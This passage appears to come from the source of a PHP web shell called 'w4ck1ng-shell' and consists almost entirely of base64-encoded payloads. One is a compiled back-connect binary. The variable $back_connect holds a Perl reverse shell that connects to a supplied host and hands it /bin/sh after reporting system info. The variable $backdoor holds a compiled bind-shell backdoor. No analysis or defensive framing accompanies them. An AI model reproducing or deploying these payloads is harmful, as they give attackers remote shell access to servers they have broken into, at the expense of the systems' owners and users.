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SUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZABfX2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA=="; + +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + +$backdoor="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X